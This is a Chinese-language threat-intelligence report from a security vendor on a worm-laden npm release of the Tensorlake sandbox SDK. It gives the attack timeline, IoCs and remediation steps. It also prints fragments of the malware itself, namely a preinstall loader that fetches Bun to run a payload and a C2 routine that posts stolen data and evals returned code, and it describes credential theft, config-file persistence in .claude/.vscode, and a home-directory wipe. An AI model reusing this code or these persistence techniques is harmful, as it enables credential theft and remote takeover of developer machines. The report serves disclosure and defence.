AI投毒情报 | 智能体沙箱 SDK Tensorlake 遭受窃密蠕虫投毒
原创
悬镜安全情报中心
悬镜安全情报中心
悬镜安全
2026年10月10日 15:00
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
AI风险情报概述
Summary
北京时间2026.10.8日9点13分,悬镜供应链安全情报中心在NPM官方仓库中监测到针对AI智能体沙箱运行时SDK Tensorlake 0.5.144 版本的供应链投毒攻击,攻击者通过盗用Tensorlake Github仓库管理员账号,将 Mini Shai-Hulud 窃密蠕虫(2026 年 Shai-Hulud 蠕虫新变种)直接提交至项目 main 分支,并借助项目自身的发布流水线推送至 NPM 仓库。这是继Mastra 智能体开发框架投毒事件之后,又一起利用代码投毒蠕虫向 AI 智能体开发工具链发动的供应链攻击事件。
Tensorlake 主要提供运行 LLM 生成代码的隔离沙箱服务,其 NPM SDK 供开发者在 TypeScript 应用中创建与管理沙箱环境,NPM 仓库月下载量约 11 万次。沙箱隔离的是 LLM 生成的不可信代码,而针对该 SDK 安装阶段的恶意代码直接运行在开发者主机、应用服务器或CI/CD构建节点之上,SDK代码投毒先于沙箱隔离边界生效,并且天然继承了部署凭证等各类敏感权限。
tensorlake投毒版本0.5.144
针对此次AI供应链投毒事件,悬镜安全已于10月8日将投毒相关技术细节向供应链情报订阅用户推送预警。在此期间存在安装、更新 tensorlake 或拉取 tensorlakeai/tensorlake main 分支后执行 npm install 的个人开发者与企业,应重点排查自身系统是否已被感染入侵。
供应链投毒分析
Poisoning Analysis
本次投毒攻击有三个关键特征:
-
真实仓库 + 有效来源证明:恶意版本构建自项目真实 main 分支,携带有效的 npm provenance 来源证明(SLSA签名链路完整)。任何信任 provenance的准入策略在本次投毒事件中都会失效。
-
人质令牌(Hostage Token)破坏机制:蠕虫驻留 gh-token-monitor 监控服务,一旦检测到被盗 GitHub Token 被吊销(API 返回 40x),立即执行系统命令抹除用户主目录。
-
明确的 AI 工具链指向:采集目标覆盖 Claude Code、Cursor、Windsurf、Kiro、Zed 等 AI 开发工具与MCP服务等配置文件,并通过植入 .claude/settings.json、.vscode/tasks.json 等具备可执行功能的配置文件间接实现编辑器/Agent 场景的二次恶意代码触发。
整个投毒攻击时间线如下所示:
| 北京时间 | 攻击事件 |
| 10.07 / 09:20 | 攻击者提交commit e90c47bb,新增lib/setup.mjs 与 lib/Math\_Symbol.js 混淆恶意文件 |
| 10.07 / 09:24 | 攻击者提交commit c79bc475,package.json中添加 preinstall 钩子 |
| 10.07 / 11:57 | 攻击者提交commit e65ed94a,修改版本号为 0.5.144 |
| 10.08 / 08:08 | 攻击者手动触发publish\_npm.yaml workflow : \"Release - TypeScript SDK (npm)\",打包发布到NPM官方仓库 |
| 10.08 / 09:12 | NPM上架包含恶意代码的0.5.144版本 |
1
攻击路径:项目维护者账号被盗 + 发布流水线
攻击者并未直接盗取 NPM Token,而是控制了一个具备项目仓库管理员权限的 GitHub 账号(Shanshan Wangcooleel@gmail.com),通过 GitHub 将恶意代码提交至 main 分支(Web 界面提交由 GitHub 签名,8 个攻击者关联的恶意commit提交均显示为 verified),随后攻击者手动触发项目自带的发布工作流(publish\_npm.yaml )完成仓库代码投毒,全程未经过任何 Pull Request 评审。
攻击者连续提交恶意commit
2
窃密蠕虫后门植入
攻击者在植入2个混淆恶意文件 lib/setup.mjs 与 lib/Math\_Symbol.js 后,通过篡改 package.json 中的 preinstall 钩子实现在SDK安装/更新阶段即自动静默触发执行恶意代码加载器脚本。
package.json被植入preinstall
加载器 lib/setup.mjs (~32KB)采用 RC4 字符串混淆,核心逻辑如下:
- 检测 CI 环境变量(CI、GITHUB\_ACTIONS、GITLAB\_CI、RUNNER\_ENVIRONMENT等),如遇非 CI 环境直接退出;
- 从 oven-sh/bun 官方 GitHub Release 下载 Bun 1.3.13 运行时;
- 调用 Bun 执行窃密攻击载荷脚本文件 Math\_Symbol.js(Bun进程可绕过部分针对 Node 进程的安全监控)。
/** Bun release version to fetch. */const BUN_VERSION = '1.3.13';/** Payload script shipped next to this installer; executed by the Bun binary. */const ENTRY_FILE = 'Math_Symbol.js';/** Execute the downloaded Bun binary on the bundled payload script. */function runStage2(binPath) { const entry = path.join(__dirname, ENTRY_FILE); const stdio = process.platform === 'win32' ? 'ignore' : 'inherit'; run(binPath, [entry], { stdio, cwd: __dirname });}/** Stay quiet on CI machines. */function skipInstallHook() { const ci = process.env.CI; if (ci === 'true' || ci === '1') return true; if (process.env.GITHUB_ACTIONS === 'true') return true; if (process.env.GITLAB_CI === 'true') return true; if (process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true; return false;}async function main() { if (skipInstallHook()) return; // Prefer an already-installed Bun; we only need it as an interpreter for the payload. if (hasCommand('bun')) { runStage2('bun'); return; } const asset = getAssetName(); const isWindows = process.platform === 'win32'; const binName = isWindows ? 'bun.exe' : 'bun'; const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`; const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'bun-dl-')); const zipPath = path.join(tmpDir, `${asset}.zip`); const binPath = path.join(tmpDir, binName); try { await download(url, zipPath); extractArchiveEntry(zipPath, `${asset}/${binName}`, tmpDir); fs.unlinkSync(zipPath); if (!isWindows) fs.chmodSync(binPath, 0o755); runStage2(binPath); } finally { fs.rmSync(tmpDir, { recursive: true, force: true }); }}
实际Mini Shai-Hulud窃密蠕虫核心代码为 lib/Math\_Symbol.js (~836KB),采用多级混淆:
- 字符串数组混淆:隐藏全部标识符;
- 自定义 cipher:隐藏配置字符串,盐值 svksjrhjkcejg ;
- AES-256-GCM:加密 11 个内嵌文件,包括脚本、钩子文件与 2 个 RSA 公钥。
窃密蠕虫的敏感信息采集面覆盖开发者本机、云环境、CI/CD 与加密货币资产,并在俄语 locale 环境下主动退出。
| 采集类别 | 采集目标 |
| 文件系统 | SSH 密钥、云 CLI 凭证文件、.npmrc、.env、Docker/Kubernetes 配置、~/.claude.json、~/.kiro/settings/mcp.json、Shell 历史 |
| 加密货币钱包 | wallet.dat、Exodus、Electrum、Ledger Live,及 MetaMask、Phantom 等浏览器钱包扩展 |
| 浏览器凭证 | 从攻击者服务器下载二进制程序,以 dump -b all -c password -f json 参数运行提取各大主流浏览器保存的凭证、cookie等数据 |
| AWS | STS 临时凭证、SSM Parameter Store、Secrets Manager、IMDS、ECS |
| GitHub Actions | 从 Runner.Worker 进程内存中读取 secrets |
| AI 开发工具 | .claude、.cursor、.kiro、Windsurf、Zed 及MCP服务等配置文件 |
3
命令控制与窃密数据外传
蠕虫主 C2 为硬编码域名 iseekaigogo.com,数据经 HTTPS POST 发送至 https://iseekaigogo.com/router。主通道失效时依次启用三级回退:
- 以太坊智能合约解析:通过 35 个公共 RPC 端点读取合约 0xb614155Fd88114d40549b259457Bcf921Df091B9(selector 0x53ed5143)获取最新 C2 域名,10 月 8 日该合约返回值即为 iseekaigogo.com。区块链不可篡改、不可下架的特性使 C2 解析通道极难被彻底切断;
- 签名 GitHub commit提交:搜索特定字符串 thebeautifulmarchoftime,仅信任内嵌 RSA 公钥签名的提交;
- Github仓库数据中转:将加密后的窃密数据提交至受害者账号下新建的公开仓库,仓库描述统一为 Shai-Hulud: Here We Go Again,GitHub 本身成为数据中转站。
Github仓库数据中转
窃密数据外传完成后,蠕虫代码还会每隔 45~90 秒轮询一次 C2 服务器并执行服务器返回的任意恶意代码,蠕虫通过 eval 直接运行,形成持久化的远程控制通道。
applyRemoteCode(_0x3cb209) { let _0x5b9a01; try { _0x5b9a01 = JSON.parse(_0x3cb209); } catch { return; } if (typeof _0x5b9a01.code !== 'string' || _0x5b9a01.code.length === 0) { return; } try { eval(_0x5b9a01.code); } catch (_0x1b02b9) { _0x990158.error('C2 code channel failed: ' + _0x1b02b9); } } async send(_0xdd8a20) { _0x990158.log('Sending to ' + this.url); if (this.destination.dry_run) { _0x990158.log(_0xdd8a20); return; } let _0x790048 = await fetch(this.url, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(_0xdd8a20), }); if (_0x790048.status !== 200) { throw Error('DomainSender: ' + this.url + ' returned status ' + _0x790048.status); } let _0x35abe8 = await _0x790048.text(); this.applyRemoteCode(_0x35abe8); } }
4
凭证吊销监控及对抗破坏
本次攻击投放的 Mini Shai-Hulud 窃密蠕虫代码相对于以往具备更高的对抗性,其中最明显的功能就是加入了被盗取 Github Token 的吊销监控以及对抗破坏能力,目前仅对无组织的Github个人账号 Token 启动破坏机制。蠕虫会针对无组织的被盗 GitHub Token 安装名为 gh-token-monitor 的监控服务。
- 监控服务每 60 秒以被盗 Token 请求一次 GitHub API,持续 24 小时;
- 一旦 GitHub 返回 40x(如 Token 被吊销),立即执行用户目录删除命令;
- 驻留形态跨平台:Windows 为 ONLOGON 计划任务(
monitor.ps1),Linux 为 systemd user service;
蠕虫安装凭证吊销监控服务(ONLOGON)
如果以“第一时间吊销凭证”的常规应急方案来应对处置,在本事件中恰好会触发蠕虫代码的数据毁灭动作。正确的处置顺序必须是:先清除监控服务,再吊销轮换凭证。
5
GitHub 仓库投毒与 Agent 场景持久化
蠕虫获取 GitHub Token 后,会进一步以 [email protected] 为作者(提交信息伪装为 \"chore: update dependencies\")向受害者仓库植入具备代码可执行属性的配置文件(以Claude Code、VS Code、GitHub Actions workflow 为主):
- .claude/router\_runtime.js
- .claude/settings.json
- .claude/setup.mjs
- .vscode/tasks.json
- .vscode/setup.mjs
此类\"配置文件即代码\"的持久化手法,使恶意逻辑在依赖被移除后仍可随代码编辑器及Coding Agent 启动而死灰复燃。
Github仓库投毒
6
NPM 生态蠕虫扩散
蠕虫会利用盗取的 NPM Token 对其所有可发布的 NPM 包注入恶意载荷文件(setup.mjs)并 篡改 package.json 添加 preinstall 钩子,最后递增补丁版本号后重新发布,形成跨生态的蠕虫扩散传播。
NPM包篡改投毒
7
*影响范围及IoC数据*
此次针对 tensorlake 供应链投毒涉及的组件包与恶意IoC数据如下表所示:
| 投毒影响组件(purl格式) |
| pkg:npm/[email protected] |
| IoC | 备注 |
| 000c93dc2b13e10ef40485806e398f71 | lib/setup.mjs 文件 MD5 |
| f91f454045a064126d79d7cd70156db8 | lib/Math\_Symbol.js 文件 MD5 |
| 0xb614155Fd88114d40549b259457Bcf921Df091B9 | 以太坊C2合约 |
| iseekaigogo.com | C2域名 |
排查方式
Investigation Method
- 紧急缓解措施:清除凭证监控服务(必须先于吊销轮换 Token 凭证),备份重要数据后,检查 ~/.config/gh-token-monitor/ 目录,然后停止并删除对应服务(gh-token-monitor)或计划任务(ONLOGON);
- 立即轮换所有LLM API密钥、云凭证、CI/CD令牌、开发环境凭据(包括 Git、SSH、Kubernetes等);使用package-lock.json或npm shrinkwrap锁定依赖版本;
- 排查是否存在与恶意C2服务器(iseekaigogo.com)的网络连接;
- 排查横向扩散:检查 GitHub 账号下是否出现描述为 \"Shai-Hulud: Here We Go Again\" 的新建公开仓库;审计仓库是否存在[email protected] 发起的异常提交、.claude/、.vscode/目录的异常变更及来历不明的 Actions 工作流;
- 对目标环境进行排查是否安装投毒版本,若安装则回滚至安全版本。
# 检查是否安装了tensorlake 投毒版本npm list -g [email protected]# 如有恶意版本,回滚到上一安全版本npm install -g [email protected] --save-exact
恶意IoC快速排查脚本:
#!/bin/bash# 功能:使用npm list 命令检测系统中是否安装恶意NPM包(遍历purl列表)# 用法: ./check_mal_npm_purls.sh # ====================== 配置项 ======================# 检查模式: global(全局包) / local(当前项目包)CHECK_MODE=\"global\"# ====================================================# 定义所有恶意NPM包的purl列表PURL_LIST=(\"pkg:npm/[email protected]\")# 颜色定义(输出更清晰)RED='\\033[0;31m'GREEN='\\033[0;32m'YELLOW='\\033[1;33m'NC='\\033[0m' # 无颜色echo -e \"${YELLOW}===== 恶意npm包安装检查脚本 =====${NC}\"echo -e \"${YELLOW}检查模式: ${CHECK_MODE}${NC}\"echo -e \"${YELLOW}=============================${NC}\"echo \"\"# 统计变量total=${#PURL_LIST[@]}installed=0not_installed=0# 遍历所有purlfor purl in \"${PURL_LIST[@]}\"; do # 1. 解析purl: 提取包名和版本号 # 格式: pkg:npm/包名@版本号 package=$(echo \"$purl\" | sed -E 's|pkg:npm/([^@]+)@.*|\\1|') version=$(echo \"$purl\" | sed -E 's|.*@([0-9.]+)|\\1|') echo -e \"检查恶意包: ${YELLOW}${package}@${version}${NC}\" # 2. 执行npm检查命令 if [ \"$CHECK_MODE\" = \"global\" ]; then # 检查全局安装的包 npm_list_output=$(npm list -g \"$package@$version\" --depth=0 2>/dev/null) else # 检查当前项目的包 npm_list_output=$(npm list \"$package@$version\" --depth=0 2>/dev/null) fi # 3. 判断是否安装(npm list 找到包会输出包信息,未找到则为空/报错) if echo \"$npm_list_output\" | grep -q \"$package@$version\"; then echo -e \" ! ${RED}已安装恶意包${NC}\" ((installed++)) else # echo -e \" ❌ ${GREEN}未安装恶意组件${NC}\" ((not_installed++)) fi echo \"----------------------------------------\"done# 输出最终统计echo \"\"echo -e \"${YELLOW}===== 检查结果统计 =====${NC}\"echo -e \"总检查数量: ${total}\"echo -e \"✅ 已安装恶意包: ${GREEN}${installed}${NC}\"# echo -e \"❌ 未安装: ${RED}${not_installed}${NC}\"echo -e \"${YELLOW}========================${NC}\"
情报驱动,以AI治理AI!悬镜安全新一代智能体AI原生安全治理平台“问境AIST”AI原生安全测试平台已第一时间将 AI 供应链安全情报纳入原生AI治理框架,当外部出现针对特定 AI 框架、模型组件或数据链路的 0Day 攻击与投毒事件时,AIST平台能够根据 AI-BOM 快速识别受影响范围,定位关联资产与代码链路,并为修复和处置提供更具针对性的依据,帮助企业构建起小时级的风险响应闭环。
最新推荐阅读
部分标杆客户
关于“悬镜安全”
悬镜安全,起源于北京大学网络安全技术研究团队“XMIRROR”。作为新一代数字供应链安全开拓者,首创基于“AI原生安全+软件供应链安全+AI供应链安全情报”的新一代数字供应链安全治理体系,以AI治理AI,从源头治理AI数据准备、模型训练调试、智能体开发部署到运行迭代等关键环节面临的AI原生安全风险,帮助企业用户构筑一套从“代码与组件”到“数据与智能”的智能体AI全生命周期内生安全治理体系,持续守护新一代数字供应链安全。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








![新开普学工综合服务平台0day[已修复]"](/images/random/titlepic/14.jpg)

评论